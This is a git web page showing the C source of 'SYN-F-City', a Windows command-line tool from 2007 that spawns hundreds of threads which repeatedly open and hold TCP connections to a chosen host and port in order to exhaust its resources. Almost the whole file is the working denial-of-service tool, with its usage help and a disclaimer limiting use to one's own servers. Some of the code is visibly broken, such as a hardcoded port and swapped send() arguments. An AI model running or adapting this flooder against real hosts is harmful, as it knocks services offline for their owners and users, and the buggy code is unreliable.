Pthread pause
[mirrors/Programs.git] / c / synfcity.c
1 /*
2 SYN-F-City
3 SynFlooder ( Optimized for DEV-C++ )
4 I made this like a PortFuck alternative for Microsoft Windows Commandline.
5 You can do anything what you want with this piece of software (and source code),
6 but only at yours own risk and responsibility.
7 You can modify and distribute this software as long as it's not used in public
8 networks or against extraneous computer and as long as my name is mentioned.
9 Sorry for my poor english and use it well. ;D
10
11 <- Harvie 2oo7 */
12
13 //Includes
14 #include <stdio.h>
15 #include <stdlib.h>
16 #include <windows.h>
17 #include <stdio.h>
18 #include <process.h>
19 #include <winsock2.h> //don't forget to include Dev-Cpp/lib/libwsock32.a
20
21 //Settings
22 #define HOSTLEN 256 //Maximum hostname lenght
23 char target_host[HOSTLEN] = "127.0.0.1"; //host
24 unsigned int target_port = 80; //port
25 int delay = 1000; //sleep in ms
26 unsigned int threads_max = 300; //0 == infinite
27 char mode = 1; //0 = reconnect on connect; 1 = wait for disconnection by server
28 #define DATALEN 1024 //Maximum data lenght
29 char snd_data[DATALEN] = ""; //Data to send (Optional)
30
31 //Init
32 char product[] = "SYNFCity";
33 char version[] = "0.4 (2oo7)";
34 int thread_report = 10;
35 unsigned int thread_no = 1;
36
37 //Socket thread
38 unsigned __stdcall SecondThreadFunc( void* pArguments )
39 {
40 unsigned int this_thread_no = thread_no;
41 //system("cls");
42 //printf( "[d] Thread #%d\n", this_thread_no ); //Debug
43
44 //Sock///////////////////////////////////////
45 int s;
46 SOCKADDR_IN sck;
47 HOSTENT *host;
48 WSADATA wsadata;
49
50 WSAStartup(MAKEWORD(1,1),&wsadata);
51
52 if( (host=gethostbyname(target_host)) == NULL ) {
53 printf("\n[!] Host not found !!!\n");
54 exit(1);
55 }
56 sck.sin_family = PF_INET;
57 memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
58 sck.sin_port = htons(80);
59
60 while(1) {
61 s=socket(AF_INET, SOCK_STREAM,0);
62 while( !( connect(s,(struct sockaddr *)&sck,sizeof(sck)) ) ) { Sleep(100); }
63 if( strlen(snd_data) > 0 ) {
64 send(s,snd_data,0,strlen(snd_data)); //Send data
65 }
66 if(mode) {
67 while( send(s,snd_data,0,strlen(snd_data)) != -1 ) { Sleep(3000);} //Wait for server side close
68 }
69 //printf("[d] Reconnecting #%d\n", this_thread_no); //Debug
70 closesocket(s);
71 }
72 //Sock end//////////////////////////////////
73
74 _endthreadex( 0 );
75 return 0;
76 }
77
78 //MAIN
79 int main(int argc, char *argv[])
80 {
81 //Help
82 if(argc < 3) {
83 printf("\n%s %s\n\nHarvie's Windows SYNFlood based service performance tester\n(PortFuck commandline alternative)\n\n", product, version);
84 printf(" Usage: %s host port [delay] [socks_max] [mode] [\"data\"]\n\n", product);
85 printf("host - yours testing target\n");
86 printf("port - port with target service\n");
87 printf("delay - wait between thread creating (ms)\n");
88 printf("socks_max - maximum of threads/sockets; 0 = infinite -don't do with short delay\n");
89 printf("mode - (0|1); 0 = reconnect on connect; 1 = wait for disconnection by server\n");
90 printf("data - send this string to the server (\"\\n\\n\" will be added)\n");
91 printf("\n");
92 printf("This values will be used implicitly:\n %s %s %d %d %d %d \"%s\"\n", product, target_host, target_port, delay, threads_max, mode, snd_data);
93 printf("\n\n");
94 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
95 printf(" !! WARNING - TERMS OF USE - READ CAREFULLY !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
96 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
97 printf(" !!!!!!!!! THIS IS FREEWARE AND COMES WITH ABSOLUTELY NO WARRANTY !!!!!!!!!!!!!\n");
98 printf(" !!!!!!!!! IT'S PROHIBITED TO USE THIS SOFTWARE IN PUBLIC NETWORKS !!!!!!!!!!!!\n");
99 printf(" !!!!!!!!! USE THIS TEST ONLY AGAINST YOURS OWN COMPUTERS !!!!!!!!!!!!!!!!!!!!!\n");
100 printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR USING THIS PROGRAM !!!!!!!!!!!!!!!!\n");
101 printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR YOU !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
102 printf(" !!!!!!!!! USE THIS ONLY ON YOURS OWN RISK !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
103 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
104 printf(" !!!! DON'T USE THIS SOFTWARE IF YOU DOESN'T UNDERSTOOD OR YOU DON'T AGREE !!!!\n");
105 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
106 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <- HARVIE 2oo7 !!!\n");
107 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
108 printf(" !I have done this only to test my own server's resistance against DoS attacks!\n");
109 printf("\n");
110 if(argc < 2) {
111 printf("Press any key, if you are sure, that you understand and you agree with terms of use. Otherwise close the window. (Run this program with more than zero arguments to prevent this confirmation, if you want dump help to file, etc...)\n");
112 system("pause");
113 }
114 return(1);
115 }
116
117 //Parse arguments
118 if(argc > 1) { snprintf(target_host, HOSTLEN, "%s", argv[1]); }
119 if(argc > 2) { target_port = atoi(argv[2]); }
120 if(argc > 3) { delay = atoi(argv[3]); }
121 if(argc > 4) { threads_max = atof(argv[4]); }
122 if(argc > 5) { mode = atoi(argv[5]); }
123 if(argc > 6) { snprintf(snd_data, DATALEN,"%s", argv[6]); }
124 printf("[*] %s host: %s port: %d\n[i] delay: %d socks_max: %d mode: %d data: %s", product, target_host, target_port, delay, threads_max, mode, snd_data);
125 if(strlen(snd_data) > 0) { snprintf(snd_data, DATALEN,"%s\n\n", snd_data); }
126
127
128 //Load
129 HANDLE hThread;
130 unsigned threadID;
131 printf("[!] SynFlooding %s:%d\n[i] C-c 2 stop\n\n", target_host, target_port);
132 printf( "[T] Creatin' some threadzz... ;))\n" );
133 printf( "[i] Showing only each %dth thread:\n", thread_report );
134
135 //Fire ;))
136 while(1) {
137 hThread = (HANDLE)_beginthreadex( NULL, 0, &SecondThreadFunc, NULL, 0, &threadID );
138 if(hThread == 0) {
139 printf("\n[!] Reached maximum number of threads allowed by system.\n");
140 break;
141 }
142 if(thread_no % thread_report == 0) {
143 printf( "[#] Thread #%d was succesfully created.\n", thread_no ); //Debug
144 }
145 Sleep(delay);
146 thread_no++;
147 if(threads_max != 0) {
148 if(thread_no > threads_max) {
149 printf("\n[!] Reached previously selected maximum number of threads.\n");
150 break;
151 }
152 }
153 }
154
155 printf("[!] Working...\n[i] C-c 2 stop\n\n");
156 //Doo something useful while running ;D
157 while(1) { sleep(60000); }
158 }
This page took 0.473631 seconds and 4 git commands to generate.